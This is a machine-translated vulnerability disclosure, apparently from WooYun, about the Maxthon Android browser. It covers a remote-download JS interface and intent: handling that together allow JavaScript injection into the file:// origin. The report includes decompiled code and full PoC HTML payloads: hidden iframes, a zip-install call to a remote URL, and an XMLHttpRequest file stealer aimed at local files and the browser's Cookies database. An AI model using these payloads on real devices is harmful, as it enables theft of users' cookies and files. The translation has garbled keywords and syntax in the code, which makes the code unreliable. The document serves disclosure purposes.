漏洞标题 傲游浏览器Android 版可远程注入js 代码到file 域获取用户敏感信息 相关厂商 傲游 漏洞作者 Fremy 提交时间 2016-03-22 18:53 公开时间 2016-06-2…
漏洞标题
Android的Maxthon浏览器可以远程将js代码注入文件域,以获取用户敏感信息
相关制造商
傲游
漏洞作者
Fremy
提交时间
2016-03-22 18: 53
公共时间
2016-06-20 19: 10
漏洞类型
设计错误/逻辑缺陷
危险等级
高
自我评估等级
20
漏洞状态
制造商已确认
标签标签
漏洞详细信息
第一个漏洞,浏览器界面没有合理判断可以调用的域,可以使用此界面下载任意文件。
代码路径: com \ mx \ jsobject \ JsObjMxBrowser.class
@JavascriptInterface
Public void installWebApp(String paramString)
{
String str=t.a(paramString);
P.a(paramString,'/sdcard/webapp /'+ str,null);
U.b('/sdcard/webapp /'+ str);
D.b()一();
Toast.makeText(this.mContext,'webapp installed',1).show();
}
界面将从指定的远程URL下载ZIP解压缩包,并将数据发布到SD卡中的webapp。如果未插入SD卡,则该文件将被释放到设备存储。
下载PoC:
函数install(){
mmbrowser.installWebApp('http://**。**。**。**/test.zip');
};
安装();
影响
1.运行页面

2. webapp文件夹中的数据

第二个漏洞,使用浏览器的intent协议使窗口打开下载的文件
代码路径: com \ mx \ browser \ MxBrowserActivity.class
if((paramString.startsWith('intent:'))||(paramString.startsWith('#Intent;')))
{
paramString=com.mx.browser.f.o.a(paramString);
if(paramString==null){
打破标签924;
}
尝试
{
startActivity(中的paramString);
回归真实;
}
Catch(ActivityNotFoundException paramString)
{
对于(;)
{
paramString.printStackTrace();
}
}
}
.
Public static Intent a(String paramString)
{
Int k=0;
Int j=1;
Intent localIntent=null;
Int i;
if(paramString.startsWith('intent:')){
i=1;
}
对于(;)
{
如果(j!=0){}
尝试
{
localIntent=Intent.parseUri(paramString,i);
返回localIntent;
}
Catch(URISyntaxException paramString)
{
paramString.printStackTrace();
}
i=k;
如果(!paramString.startsWith('#Intent;'))
{
j=0;
i=k;
}
}
返回null;
}
测试意图PoC:
< iframe width='0'height='0'src='intent:http://**。**。**。** /#Intent; component=com.mx.browser/com.mx.browser.MxBrowserActivity;端'></iframe中>
测试意图PoC执行效果
在执行意图PoC:之前

执行意图PoC:后

因此,测试打开刚刚使用installapp接口下载到本地的文件,并成功执行:

漏洞证明:
漏洞的完整利用过程如下:
第一步是构建exploit.html并让explore.html读取感兴趣的文件(为了方便测试,读取文件本身的数据):
< HTML>
<脚本>
警报(123);
函数stealFile(file){
Var xmlHttpReq=new XMLHttpRequest();
xmlHttpReq.onreadystatechange=function(){if(xmlHttpReq.readyState==4){alert(xmlHttpReq.responseText); }};
xmlHttpReq.open('GET',file);
xmlHttpReq.send(NULL);
};
stealFile('file: ///storage/sdcard/webapp/test/test.html');//file: ///data/data/com.mx.browser/app_webview/Cookies</script>
测试
&LT;/HTML&GT;
然后使用ZIP打包exploit.html
接下来写一下payload.html,这部分主要是让浏览器将exploit.html下载到本地然后执行
&LT; HTML&GT;
&LT;脚本&GT;
函数install(){
mmbrowser.installWebApp('http://**。**。**。**/test.zip');
};
函数open_tab_js_in_sdcard(){
Document.write('&lt; iframe width='0'height='0'src='intent: file: ///storage/sdcard/webapp/test/test.html#Intent;component=com.mx.browser/com.mx.browser.MxBrowserActivity;结束 '&GT;&LT;/iframe中&GT;');
};
函数open_tab_js_in_device(){
Document.write('&lt; iframe width='0'height='0'src='intent: file: ///storage/webapp/test/test.html#Intent;component=com.mx.browser/com。 mx.browser.MxBrowserActivity;结束 '&GT;&LT;/iframe中&GT;');
};
安装();
的setTimeout(函数(){},3000); //等待注入js代码进行解压缩,然后在浏览器中使用新选项卡将其打开。
Open_tab_js_in_sdcard();
Open_tab_js_in_device();
&LT; /脚本&GT;
&LT;/HTML&GT;
测试URL:http://**。**。**。**/Maxthon_Android_Browser_InjectJSToFile.html
漏洞证书:

浏览器版本:

因为android目录不是很熟悉,所以测试是在BlueStacks下测试的。真正的漏洞也在手机上进行了测试,但目录未正确填充,因此无法正确执行。

修理计划:
版权声明:请注明出处Fremy @乌云